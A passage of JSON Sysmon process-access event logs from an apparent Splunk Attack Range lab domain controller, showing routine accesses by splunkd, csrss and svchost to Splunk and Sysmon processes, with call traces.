Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-0010F5350A00}","TargetProcessId":"4644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-0010F5350A00}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-0010F5350A00}","TargetProcessId":"4644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 